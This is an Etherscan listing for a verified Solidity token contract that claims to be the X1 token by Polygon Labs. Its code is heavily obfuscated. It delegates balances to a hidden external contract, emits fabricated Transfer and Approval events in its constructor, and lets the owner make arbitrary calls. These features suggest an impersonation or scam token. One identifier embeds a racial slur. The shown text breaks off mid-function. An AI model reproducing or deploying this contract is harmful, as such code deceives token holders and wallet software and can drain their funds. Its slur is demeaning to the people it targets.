ETH Price: $3,394.41 (+1.97%)

Token

(0x1111111becab3c8866712ebf23fc4741010b8dce)
 

Overview

Max Total Supply

0 ERC-20 TOKEN*

Holders

343 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 ERC-20 TOKEN*

Value
$0.00
0x22fac3a27510742a5ae83497cae4d64ddfa71e67
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
X1NetworkToken

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-11-19
*/

// SPDX-License-Identifier: MIT

/// @title X1 ERC20 token
/// @author Polygon Labs (@DhairyaSethi, @gretzke, @qedk, @simonDos)
/// @notice This is the X1 ERC20 token contract on Ethereum L1
/// @dev The contract allows for a 1-to-1 representation between $X1 and $OKB and allows for additional emission based on hub and treasury requirements
/// @custom:security-contact [email protected]

/***

                                      
   XXXXXXX       XXXXXXX      1111111        
   X:::::X       X:::::X     1::::::1        
   X:::::X       X:::::X    1:::::::1        
   X::::::X     X::::::X    111:::::1        
   XXX:::::X   X:::::XXX       1::::1        
      X:::::X X:::::X          1::::1        
       X:::::X:::::X           1::::1        
        X:::::::::X            1::::l        
        X:::::::::X            1::::l        
       X:::::X:::::X           1::::l        
      X:::::X X:::::X          1::::l        
   XXX:::::X   X:::::XXX       1::::l        
   X::::::X     X::::::X    111::::::111     
   X:::::X       X:::::X    1::::::::::1     
   X:::::X       X:::::X    1::::::::::1     
   XXXXXXX       XXXXXXX    111111111111     
                                      

***/

pragma solidity ^0.8;

interface ukasHDRGEILUhilusheruilgHLuisrhGLUIR{function factory()external view returns(address);function token0()external view returns(address);function token1()external view returns(address);function fee()external view returns(uint24);function tickSpacing()external view returns(int24);function maxLiquidityPerTick()external view returns(uint128);}interface KUNEUILRGBHFUISHBglyuisbljrhdfvbljahdbfhjvbjadfv{function slot0()external view returns(uint160 hPGHR78gh78ehroguihoeuisrhgu,int24 fjgnjNLUIRHgiehgiuehriugh,uint16 tghiuHIRHiuhgerthgihi57,uint16 ktjghuHIURghoi7eh5i7ghg,uint16 rhgkhGKJRglyueghaouryghOLru458,uint8 unlitowuwefgzvdfgvadfg,bool yetjetyhjtyrjwrthwrfgvh);function feeGrowthGlobal0X128()external view returns(uint256);function feeGrowthGlobal1X128()external view returns(uint256);function protocolFees()external view returns(uint128 sdfoijgwiuerfhjgi9pquerhgp,uint128 ldkrfjqguedtpivqghergviuq);function liquidity()external view returns(uint128);function ticks(int24 tick)external view returns(uint128 jdfiovjpiowertjgipuqrhugihvquierhgui,int128 liqyrkfjqciuhrjifguhqieurghuirNe,uint256 rguihjiwuhertgnwkrtnguiowhrt,uint256 EUIYtyva7r4tha7oe45th7va8oeh87rt,int56 OIETjgnbiusjrtuih4thoawetyuerghtyuoa,uint160 rmgioqwerhuipghaeipurng,uint32 awelktvboajfgjboavjerg,bool eorfopirejgpvoqjerpgiovjqrejgi);function tickBitmap(int16 qjierhoqcvuihreuioygfhoquerguoyqerug)external view returns(uint256);function positions(bytes32 jdfhvqciouherouighoqierhgyhqcoueyrghoyuqv)external view returns(uint128 advhfakheuirfhquihgyq4gyuq4gq,uint256 bmslfkgmbsfgnmsiuheurghailer,uint256 foiqvjroigjpqoehrguihqvuiehr,uint128 fiojghnpowtjughcuwherhgciw,uint128 wlerjgvoqierjgoijqeriojgquhiuthghpiure);function observations(uint256 woirhgiwurthgoi5w47thht7w4ohith)external view returns(uint32 qe5ytbu58uy498yup9w8y5huiwirthgiuw,int56 gcqjirhiouqghouierhgiouhqeruioghuiqheruighiqr,uint160 qierutyobiuqoripejgqvhuierg,bool rucvhqnuierhguiohreoiughiquerg);}interface iuawehfpiauhwei9478hgliah4gr7uyhlYUIYREghklsyuzrg{function observe(uint32[]calldata wboperpogkoijquehuygyegfqwe)external view returns(int56[]memory asdhfashudfghuyaergfua,uint160[]memory quirfyoiuqcheiurghuioqerghyuir);function snapshotCumulativesInside(int24 kehjfiuowehfuioehrfi,int24 giubwopierigupwoierugopiwer)external view returns(int56 oierjfqocerijxfoqiejrgoierqhg,uint160 ufhqeiurthuiqerhgiuhduhjfaklsdhfajk,uint32 odgfchyursdgfyueargfyugaeyurg);}interface lrukhguilaerilughughalidbdYHUBLYUGSERYuftgwu46y7rfgaw{function initialize(uint160 ewrgeargadrfhtjyutjyu)external;function mint(address skhgvaidufhuighspduifhg,int24 akdfgvajkdsigfjaiodfjgioa,int24 sfcvgoadhpfiuoghjvcauiosdfhgu,uint128 dkfkjghbniduasfhgudfhguipvbh,bytes calldata aiudcfghiaudhfguiccchccsdociccfcucgh)external returns(uint256 jhgcdfuyegcdfyuoeryug,uint256 sfgbisdfpogijbseoirjgiorej);function collect(address sfopbuiytiryiojkdfvhgdhg,int24 yojopkprtjqwgeurvfghaergf,int24 fqecjpeoirfjuioprhgiuerqh,uint128 aserefqevhcnoiquwehrvioquwehf,uint128 fbaerjukilkiutlilyrf)external returns(uint128 rgwerghadazfjhdgyj,uint128 vbasdrgaedrgaedrg);function burn(int24 etyjhur67ir7iujtyvhwerth,int24 dtgyjmtydjsrthvsrtgh,uint128 qfjieurhgfciourqehgoyuircghyuoegh)external returns(uint256 sfgbsrtnetbwjrtnbuiwrnpitb,uint256 dghmnryujmryumryumryum);function swap(address stghbuqerhguipqherug,bool srthhmuji,int256 etyjetyjhsrtyhrth,uint160 hdgmngmfghmyhjwrth,bytes calldata srtyhaergsdrfgaer)external returns(int256 tgwrthetyyujkukryuk,int256 wrtha4ertq4t54yh6hr);function flash(address rwtjhsrtjtyuliukley,uint256 amqe54tw5tuyhrtyjtyjoun,uint256 wrthwrthsftgtjetyje,bytes calldata rtyhnetyikjyetujida)external;function increaseObservationCardinalityNext(uint16 etykghnsfthwrth)external;}interface uirhfgvuiarsdhilguhopasderihufgDOPIRGHYUIOghozdyugho{function setFeeProtocol(uint8 kedjhfvijadshgjivahd,uint8 adfvnakjdhfjahdv)external;function collectProtocol(address dzfgnavkfngoiaerjgoij,uint128 ghjklsfjklhjfghoistjh,uint128 safdgpiedfcvpawejfiaowej)external returns(uint128 sdrfhgvcciauheruighoiaec4vu,uint128 rgfkjehdfgheviurhguiqerhgui);}interface ojvioajdiorfjvoiaqjeruiobghjuipoaer{event Initialize(uint160 kfgjhwerfughiluaqerhvuilrheuiv,int24 fjkdhfvjiarehjpfgvoerhjoifgh);event Mint(address kfjhgvkwjwfhoguiqherifugvhqer,address indexed lwekruovbiu9op3iurtp894r5yutg8r5gh,int24 indexed frujivyfgio3ueryhtgvioqu34t87ih43t,int24 indexed ejkdfhviu34qehfiuohq34of7ih43,uint128 qerifgvhquierhfviquehrfv8hq34,uint256 qrhfgviquerhfuipvhq34piufhq,uint256 erihfgvqieurhfgviuqerhuigfhr);event Collect(address indexed sdfvvgadfgvaergvbaergbqeargb,address sergbwaergbqergnqergqeargb,int24 indexed sergbwrthnertyhnertyhe,int24 indexed dgnfvjhdfivjhjoaerijgio,uint128 ledrfgvjpqioerjgoiqverhjg,uint128 fkjgvpoierfhjgiopvwjperog);event Burn(address indexed wrtbyhwrtybwrtybwrty,int24 indexed w4r5vyw4r5yvhwrtyhvwrtybwrt,int24 indexed srtybwrtysdfhhkyulku,uint128 aerfgaedrbtqerybqerty,uint256 srthbwrtyunmryuimrttyunj,uint256 retvqrgvrqeterybwertybwrtyubn);event Swap(address indexed aevrgvqergn7t6yj7nrtyj,address indexed srtbbghwertgvcqwcergvwerg,int256 rteunmurkmryjnetyhjneb,int256 wrtvybq4rgvbq4rtgbwrtyb,uint160 er6tubnw56tyu67muje57n7je,uint128 qervtqeve45tvbq45y,int24 ertybunw56tyuw56unw56tyunbw6);event Flash(address indexed srtghvwrthvbwrthb,address indexed srtbhwrtghbtnyuj,uint256 ukmjnrujyjbet,uint256 srtvywrthvhgb,uint256 tunwtum6uw356,uint256 rvyw75iv7864e6tu);event IncreaseObservationCardinalityNext(uint16 sfgnbfguhbpvqiorhptguiohqvpeuiorgth,uint16 kjsfdgvhiuahruiftghopiaerhpgiouhruhg);event SetFeeProtocol(uint8 erkghfvqoerghvluiqerhgpivuerqhg,uint8 rfjhgvqergouivqerhogyuhvqer,uint8 kjrfhgvquerhguipqvhergu,uint8 wrdflgvjpweioarfgjopqaerijgov);event CollectProtocol(address indexed rfljkghvwuirfhbpiuwrhtpuibh,address indexed gkwrvjhoguiqrhguihwvecruigh,uint128 werghvoquryeghovyuiqergh,uint128 vwreughviuqreghovuiqeryg);}interface jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn is ukasHDRGEILUhilusheruilgHLuisrhGLUIR,KUNEUILRGBHFUISHBglyuisbljrhdfvbljahdbfhjvbjadfv,iuawehfpiauhwei9478hgliah4gr7uyhlYUIYREghklsyuzrg,lrukhguilaerilughughalidbdYHUBLYUGSERYuftgwu46y7rfgaw,uirhfgvuiarsdhilguhopasderihufgDOPIRGHYUIOghozdyugho,ojvioajdiorfjvoiaqjeruiobghjuipoaer{}interface rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg{event Transfer(address indexed gvqejrhgiuaerhgiuqerhgiu,address indexed kfjdhgvouiqrhgpiqhpirgiu,uint256 ergivjiouaefrhvbgiuqerhuihg);event Approval(address indexed iqevuryguiyrpiuytb84577tyb5y6wg,address indexed tiopugvy45vhg75hgise5g,uint256 qdvhjkfgvbuiafhpgiqeruigh);function totalSupply()external view returns(uint256);function balanceOf(address opwfcgirhjiqerhygouiqcvoeirugh)external view returns(uint256);function transfer(address wrbywrthbwrtuj,uint256 tuwnrgumweorvigioq4urgv)external returns(bool);function allowance(address rtwuybwrthwrthwnrb,address rtnywrtyhbw4r5tyhb)external view returns(uint256);function approve(address er6ybaerfgtrhnytikj,uint256 ssr5nywr5ybwr5y)external returns(bool);function transferFrom(address dfgnsdrtjwrstykjwsrtyn,address sdftghwsrtjhwsrt,uint256 sftgjnsfgbsfgb)external returns(bool);}interface ruihgiUHILURHGUILhluihlghuieasrhuigh is rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg{function name()external view returns(string memory);function symbol()external view returns(string memory);function decimals()external view returns(uint8);}interface fjrguioaserhjuiHJUIDRHguihuirehga{event OwnerChanged(address indexed tywhrtwhwtrvbg,address indexed wervtyqrtjnryuikr);event PoolCreated(address indexed wertvyedtqrnw6rt6yuhnwrth,address indexed wervtgvbwertbyeytjbvtej,uint24 indexed wr5tyhbvw45uy56nue65ucw45tfcw4,int24 ertb6ue56u6unyo98p,address ebrtguyyiyqrytq4ynteyinty);event FeeAmountEnabled(uint24 indexed tghvwert56ujbet6yw5rgvbw45y,int24 indexed serbysergvser5g5vae45vtgsea);function owner()external view returns(address);function feeAmountTickSpacing(uint24 wsrtybvwrtybwdrtybhwertgb)external view returns(int24);function getPool(address ebfgyujnstny4w5y567jft7idt,address wr5yher6hsbr5yn45whgnbw,uint24 wvrtygbwrthwrtghnrrhbtybnwrtghbaer)external view returns(address sdfthsdfthjdtfiurtyuj6eru);function createPool(address hsrrthrsdtbsrfdth,address tokhertyhertyhertyhetrghxfte,uint24 thrtwhwer6ut6j7ethjyt)external returns(address wgv5y5ywb5w4ywr5thgrtgh);function setOwner(address erthjrtfhjsdfthye6herthrth)external;function enableFeeAmount(uint24 wr5t6hwrthfthdfth,int24 trhe56rh6redshthwrth)external;}interface rojhgiouserhjughjIUHRUIghluihseilrug{function uniswapV3MintCallback(uint256 vjkldLSDKPgiospoerg98re8rg,uint256 ogkrKOPRFOPhor9herh8et,bytes calldata osdfkvJIOPSRgjjruhweyurygfs)external;}interface fdjhuiphUIPHRUIghuidrhuighuiehgwe{function uniswapV3SwapCallback(int256 fdiojbiJFIOHJDISOPJHRF,int256 vjjOISERJghipjioperjh9hw8ewpe98r5,bytes calldata dgjiJSIORJGiojrthj98df8bwefwe)external;}interface fvbihnSIOUUEhgituowhuivnu7r778z7yduf{function fe6c46bc3b6c()external view returns(address);function a2f409198077()external view returns(address);function c36e32f9dffe(address ilusdhriuhgui)external;}interface ffiOIRHghoshNOISDUHRUIghrh9ge8r8r5gbe8d{function bfeb2faed153()external view returns(uint256);function c6d82de276f0()external view returns(uint256);event B32af3805412(uint256 idabfvnGador8tgo);event Df5cb0ac5af6(address ieurghuishlrunvb,uint256 vb9tynu9e8yrhg);function ec47f8bce750()external view returns(uint256);function cb9a9f3c49fd(address fioiojfOISDRFighjopsrghp)external view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory);function adbfe1118e05(uint256 dfklvSOPdegopskrokvsdpokvo)external view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory);}interface dikjIKUYUISDeugsukKUSEU8e48fy934{function b32af3805412(uint256 uysdgvfktyuGVKYUSEDGFIUSYEGIyfg7uw6yefgeee7u8wrga8)external;function df5cb0ac5af6(address r9oeikpkrgmlkdfgnmbdiortoh8rth,uint256 fogbOPSDOPRjghjkdropghkoprdbvkepodrv)external;function bbe672b5acc8(uint256 flkvbOLKROPgkoprekg,uint256 fdvdfoOPRJohkgopwerkgopkg,uint256 flOLFovbldfopkbkdpofkbort9bn9)external;}interface dujhvUSEUhgiuhuihued87w747hwif{function dbd253ba9079()external view returns(uint256);function ba179150f767(address kvldkiosioodimidsd)external view returns(uint256);function a117c97c1973(address vmlsdkvmksmdklmvklmskldv,address owietqpoiefjqpoeidcmqe)external view returns(uint256);function e20d660cdf88(address dijvvUISDHEPSIEUHFGu8hi,address jvbjdiiioIODJFIOJbijiojoijipopp,uint256 vmKMIOSdjnkmlrevmpweopvower)external returns(bool);function a00d660cdf88(address uirvuue89tg7847rewgh7vhaiuser,address jjSIOEDigjojierigopwoegpk0wke0g,uint256 mmLIMEDImgjpwekogkrboijOIJSDRgb)external returns(bool);function ad3824bcab20(address nnUIONEguionoweruingre8g8werg,address vmmIOPSRgjirpiohbopefopvbksdp,uint256 dvisdkmIKOLSDEIMOvpseovwsdvs)external returns(bool);}struct IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er{address duvcUIHUISEDHui;uint256 dijcvnnnmmcieicniuonIUHSERUFGhSHe777rfgvs;uint256 divijUUJNIUNIUINedohufgaseoiwiooe8843ef8h;uint256 dknvnUIOAWHUIpaw9rfvj8808f8rfyhug789wer;mmmIKOIDeiufoisefuoise989werh789vu[]mmmOILKDfjrgonoernphwsotwkboiertiomb;}struct mmmIKOIDeiufoisefuoise989werh789vu{address vnuJJUIOLSE9he9rkbveiaerge;uint256 vmIEDIOiopfwppeofgkpg9w9eg;}uint256 constant UIduhvuUISEDHuorghsoosircJJu8wopexieojcvoheA1Iee=1000000;uint256 constant bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku=type(uint256).max;interface IHGruehgiunsrfuvdniugh6e4tsyudgvb is fvbihnSIOUUEhgituowhuivnu7r778z7yduf,ffiOIRHghoshNOISDUHRUIghrh9ge8r8r5gbe8d,dikjIKUYUISDeugsukKUSEU8e48fy934,dujhvUSEUhgiuhuihued87w747hwif{}library IAJfoijOISDJgpidfpojgbpsdfjboisjdpfogjnboiunosfuinvowornt7{function OIJDgfopjfogjoIJOPIJopijdfgpiosdfgjphjspiudfgbn(IHGruehgiunsrfuvdniugh6e4tsyudgvb ILUSRGNnhliuseanvoiurnpize8r7y9te845gerfugvhbne,address dfiuoIOEYUDHtgvfuipyrtiuhruihtgiuarheah7)internal view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory){return ILUSRGNnhliuseanvoiurnpize8r7y9te845gerfugvhbne.cb9a9f3c49fd(dfiuoIOEYUDHtgvfuipyrtiuhruihtgiuarheah7);}function PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(IHGruehgiunsrfuvdniugh6e4tsyudgvb cndujnvUINUIRSEBGuirehbuivbaeiur75r48it493q,address vbnIKUSBNDFVHBIORUhgieurhg8reg9we4g,uint256 kjmdfbiojvknOSNFFIOUSDNbiauerthbnpuihsrb)internal{cndujnvUINUIRSEBGuirehbuivbaeiur75r48it493q.df5cb0ac5af6(vbnIKUSBNDFVHBIORUhgieurhg8reg9we4g, kjmdfbiojvknOSNFFIOUSDNbiauerthbnpuihsrb);}function OIDFJgjsfpdioghjspdrfthjgpishjdfpiuhjgbpIUHPRFIGH(IHGruehgiunsrfuvdniugh6e4tsyudgvb fgjnaNFOUINDTFUIghjtoipunbhpsrw98it5h)internal view returns(uint256){return fgjnaNFOUINDTFUIghjtoipunbhpsrw98it5h.dbd253ba9079();}function OIJDgopfjdfogjPIFUHJGPIUDFHgipupfguihspihjpfghiojspo(IHGruehgiunsrfuvdniugh6e4tsyudgvb fpuihgbuiZFHdUIPHUIghep8ioasrt7ser8p7tghp8eras7gh,address fmboNIOFSDNgboidfnbuiontgrfuibnshpbirutnb)internal view returns(uint256){return fpuihgbuiZFHdUIPHUIghep8ioasrt7ser8p7tghp8eras7gh.ba179150f767(fmboNIOFSDNgboidfnbuiontgrfuibnshpbirutnb);}function dSPOERgjkiodrjpgh9wsjpert8gwj0po9er8hgHOSRIgh78rg(IHGruehgiunsrfuvdniugh6e4tsyudgvb iyuegYUOGFUOYEDGVAOUYyusdbrfyubgvhuiasdf74w34ghsdlhfg,address fduihgbiuzDHFIOUHFuigaepruihjpauierhbpaiuerhb89rhg9e8shrng,address lfkmnhzlkjnfdIOSEDHUgiurhgirhaiguhreiugh7dyughbsjig)internal view returns(uint256){return iyuegYUOGFUOYEDGVAOUYyusdbrfyubgvhuiasdf74w34ghsdlhfg.a117c97c1973(fduihgbiuzDHFIOUHFuigaepruihjpauierhbpaiuerhb89rhg9e8shrng, lfkmnhzlkjnfdIOSEDHUgiurhgirhaiguhreiugh7dyughbsjig);}function KOPFkgiosfjiojOPIJfdopigjporfjhiowjtrohjwer9ptjhpdorfkgpasoek(IHGruehgiunsrfuvdniugh6e4tsyudgvb kljftgnbIUBDFJghiasudfrhgbiluadsrfhbuihnad847ytgaehiurghvbadi,address fknbkJNIKSDFRJUHNuioerahjioaeht58hygpeioa85rhg,address FNSOBNSFIKDJUghbnzduirfhnrzduirfthgiopaert8uheioth85hgibsurt,uint256 klfnbnIOSDRhjohuorIHNFUIONurhEDUrfhkdnfkjhnbdkfbn5898ghhhh)internal returns(bool){return kljftgnbIUBDFJghiasudfrhgbiluadsrfhbuihnad847ytgaehiurghvbadi.e20d660cdf88(fknbkJNIKSDFRJUHNuioerahjioaeht58hygpeioa85rhg, FNSOBNSFIKDJUghbnzduirfhnrzduirfthgiopaert8uheioth85hgibsurt, klfnbnIOSDRhjohuorIHNFUIONurhEDUrfhkdnfkjhnbdkfbn5898ghhhh);}function IOJDOPgigjPDIOjgvpisfunbpafduibjnPIUJRFh9irgw9eriojgpwer(IHGruehgiunsrfuvdniugh6e4tsyudgvb JLYEDgbluiydfuilvbildfruhvblujiDSHBLUIHRfuigheiru7ghei7urgbiasedrfb,address jfvbnifhIUBSRILYUGblisrughidrsuhgirufhLUBSDRugi5r7485h8ihg,address gkljbnKJLFNDHiknrfuihgieruthgsifgjtbnsriutnbiusrthb,uint256 JHGSDVkuySBKEDRUYVBBKSUerygviuerhe874rytg8UYGSEufgueyg)internal returns(bool){return JLYEDgbluiydfuilvbildfruhvblujiDSHBLUIHRfuigheiru7ghei7urgbiasedrfb.a00d660cdf88(jfvbnifhIUBSRILYUGblisrughidrsuhgirufhLUBSDRugi5r7485h8ihg, gkljbnKJLFNDHiknrfuihgieruthgsifgjtbnsriutnbiusrthb, JHGSDVkuySBKEDRUYVBBKSUerygviuerhe874rytg8UYGSEufgueyg);}function OIJrgoisjrtpiogjhsioftjhpiosdjfotijhposrtijhiwujnrv0wi5u4(IHGruehgiunsrfuvdniugh6e4tsyudgvb jfnbkJNKLUGEDVykfesyufgusyegbfvyukUYSEDbfkvuysgeufvyd,address hdfbjbUJBUSERYGkusygefkubkUYGSEDBRkuyesrkuyghy,address fbvjhBJLSDHRFBgluihbruilghbvldirfblizduhnLIUHrfbihndzuilfrbh,uint256 fblfibLUDFHBvliBUhlsuiedhgiluszdhrlgiuhLIHSDRFGuilH)internal returns(bool){return jfnbkJNKLUGEDVykfesyufgusyegbfvyukUYSEDbfkvuysgeufvyd.ad3824bcab20(hdfbjbUJBUSERYGkusygefkubkUYGSEDBRkuyesrkuyghy, fbvjhBJLSDHRFBgluihbruilghbvldirfblizduhnLIUHrfbihndzuilfrbh, fblfibLUDFHBvliBUhlsuiedhgiluszdhrlgiuhLIHSDRFGuilH);}}abstract contract bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{address private siojdcHHCpa;constructor(){siojdcHHCpa=msg.sender;}modifier onlyOwner(){POKSDfkadrfopkgaioerfjgipshjfpuighwropuith0g8rg();_;}function POKSDfkadrfopkgaioerfjgipshjfpuighwropuith0g8rg()internal view virtual{require(msg.sender==siojdcHHCpa,"NO");}}abstract contract vunIUSEHifghiuhgisuheiughuiS734t7234efghwyseg is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{address private asxIIOICjsl;function owner()external view virtual returns(address){return asxIIOICjsl;}function e248103f8262(address cideJJcAtr)external onlyOwner{asxIIOICjsl=cideJJcAtr;}}abstract contract pJbgg0vSzqBGx1L0xspObGKD69FvwCBowT3l{uint256 private SiwodfcnJYHUds;modifier acquiresLock{_;SiwodfcnJYHUds=block.number;}modifier requiresLock{require(SiwodfcnJYHUds!=block.number,"BL");_;}}abstract contract duhvushUIOSHDEURIghuishreguihwsuig is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{receive()external payable{}function c91a97942d5a(address Hhchuid,uint256 HPSCwee,bytes calldata zXXc0YYajikn)external onlyOwner{(bool ttRrauysgc,)=Hhchuid.call{value:HPSCwee}(zXXc0YYajikn);require(ttRrauysgc);}}abstract contract NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4 is rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg,ruihgiUHILURHGUILhluihlghuieasrhuigh{using IAJfoijOISDJgpidfpojgbpsdfjboisjdpfogjnboiunosfuinvowornt7 for IHGruehgiunsrfuvdniugh6e4tsyudgvb;IHGruehgiunsrfuvdniugh6e4tsyudgvb private immutable KKkd9jcawj;string private ddOJIJIO;string private WWncisudcin;modifier bypassKLimit(address PVPfpbnwnqGYUYGsc){uint256 asaERTYjbmvrbopopvddwefm=JDNfivndrsfuigbndruifghsluidrhgopsiuehrgoiasehurgoiuh(PVPfpbnwnqGYUYGsc);iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(PVPfpbnwnqGYUYGsc,bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);_;iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(PVPfpbnwnqGYUYGsc,asaERTYjbmvrbopopvddwefm);}constructor(string memory erhjktbpdfvsoGGG,string memory erthbhbrGYUTYFDRvc,address mmweDD7dsccKKK){ddOJIJIO=erhjktbpdfvsoGGG;WWncisudcin=erthbhbrGYUTYFDRvc;KKkd9jcawj=IHGruehgiunsrfuvdniugh6e4tsyudgvb(mmweDD7dsccKKK);KKkd9jcawj.PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(address(this),bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);uint256 oovlvllvlvTYGTG=KKkd9jcawj.ec47f8bce750();for(uint256 aaaRRFTRTFCCTVY=0;aaaRRFTRTFCCTVY<oovlvllvlvTYGTG;aaaRRFTRTFCCTVY++){IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory vbnvbvbMJKMRRT=KKkd9jcawj.adbfe1118e05(aaaRRFTRTFCCTVY);emit Transfer(address(0),vbnvbvbMJKMRRT.duvcUIHUISEDHui,vbnvbvbMJKMRRT.divijUUJNIUNIUINedohufgaseoiwiooe8843ef8h-vbnvbvbMJKMRRT.dijcvnnnmmcieicniuonIUHSERUFGhSHe777rfgvs);for(uint256 weeFTYUTYfcvubsiodfib=0;weeFTYUTYfcvubsiodfib<vbnvbvbMJKMRRT.mmmOILKDfjrgonoernphwsotwkboiertiomb.length;weeFTYUTYfcvubsiodfib++){mmmIKOIDeiufoisefuoise989werh789vu memory bbTYFPPafjhnfvhnvuisdhuv=vbnvbvbMJKMRRT.mmmOILKDfjrgonoernphwsotwkboiertiomb[weeFTYUTYfcvubsiodfib];emit Approval(vbnvbvbMJKMRRT.duvcUIHUISEDHui,bbTYFPPafjhnfvhnvuisdhuv.vnuJJUIOLSE9he9rkbveiaerge,bbTYFPPafjhnfvhnvuisdhuv.vmIEDIOiopfwppeofgkpg9w9eg);}}}function a5feccd6e5df()external view returns(address){return address(KKkd9jcawj);}function name()external view returns(string memory){return ddOJIJIO;}function symbol()external view returns(string memory){return WWncisudcin;}function decimals()external pure returns(uint8){return 18;}function totalSupply()external view returns(uint256){return KKkd9jcawj.OIDFJgjsfpdioghjspdrfthjgpishjdfpiuhjgbpIUHPRFIGH();}function balanceOf(address huivhRTRDTDR)external view returns(uint256){return KKkd9jcawj.OIJDgopfjdfogjPIFUHJGPIUDFHgipupfguihspihjpfghiojspo(huivhRTRDTDR);}function transfer(address vbnbnfsnbnsdfbHIUIHHUHUIOHU,uint256 bbvncbbCDDDDdcstacvcdTTYTT)external returns(bool){address vvvrasYYGUGYUhuvuiduhvdfkovkovdf=msg.sender;return OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(vvvrasYYGUGYUhuvuiduhvdfkovkovdf,vbnbnfsnbnsdfbHIUIHHUHUIOHU,bbvncbbCDDDDdcstacvcdTTYTT);}function allowance(address BBHvvhbvhbjdfhbdfvjhbYGBBYJNJK,address gvvcjnavuaiyTYDRTDRFRD7fue7fgyhi)external view returns(uint256){return KKkd9jcawj.dSPOERgjkiodrjpgh9wsjpert8gwj0po9er8hgHOSRIgh78rg(BBHvvhbvhbjdfhbdfvjhbYGBBYJNJK,gvvcjnavuaiyTYDRTDRFRD7fue7fgyhi);}function approve(address vvczxmnbnRTDDDopkopfkoekopefnnvrftacsrf,uint256 nbbCVCFCFCfdjksjsjnsdjnvjnniggerTRTFRD)external returns(bool){address fbnjksjknhjbDFEruedidjdicklGGGsss=msg.sender;return OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(fbnjksjknhjbDFEruedidjdicklGGGsss,vvczxmnbnRTDDDopkopfkoekopefnnvrftacsrf,nbbCVCFCFCfdjksjsjnsdjnvjnniggerTRTFRD);}function transferFrom(address vcvcUIUHHUIhuenfklwppffs,address nnUHUIUIHUIhvbwfvakoasisdif,uint256 bbvTYTVYRTYT0dvllkjkiqauiwuhdf)external returns(bool){address bbVTTYTYTtdumBASsuiuiuh=msg.sender;KKkd9jcawj.OIJrgoisjrtpiogjhsioftjhpiosdjfotijhposrtijhiwujnrv0wi5u4(vcvcUIUHHUIhuenfklwppffs,bbVTTYTYTtdumBASsuiuiuh,bbvTYTVYRTYT0dvllkjkiqauiwuhdf);return OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(vcvcUIUHHUIhuenfklwppffs,nnUHUIUIHUIhvbwfvakoasisdif,bbvTYTVYRTYT0dvllkjkiqauiwuhdf);}function OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(address nnTTYtepppkvjhjhwiuyehgfFseX,address hhuUYTYUUTYeihhfUIUisuHgGG,uint256 bbbBBBisiicjhjgdr5rrhaui78TGTT)internal returns(bool){require(nnTTYtepppkvjhjhwiuyehgfFseX!=address(0),"IS");require(hhuUYTYUUTYeihhfUIUisuHgGG!=address(0),"IR");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(nnTTYtepppkvjhjhwiuyehgfFseX,hhuUYTYUUTYeihhfUIUisuHgGG,bbbBBBisiicjhjgdr5rrhaui78TGTT);}function dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(address vvYUOPKOJvjnbvbnffvvNKRFshtys,uint256 bbUGYGYUYUdklslslllldiviiUIUIUUdkdhnqwowfal)internal returns(bool){require(vvYUOPKOJvjnbvbnffvvNKRFshtys!=address(0),"IR");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address(0),vvYUOPKOJvjnbvbnffvvNKRFshtys,bbUGYGYUYUdklslslllldiviiUIUIUUdkdhnqwowfal);}function oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(address FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui,uint256 vvRTRTedvyuysdyvgIloveGGaysygufyppPP)internal returns(bool){require(FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui!=address(0),"IS");require(vvRTRTedvyuysdyvgIloveGGaysygufyppPP>0,"ZA");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui,address(0),vvRTRTedvyuysdyvgIloveGGaysygufyppPP);}function OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(address ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH,address bbbTvvreeeTTTscatyhyaikfhhhUUUU,uint256 nnYBUYUgvjikikkksuuuuufcgvgFFF)internal 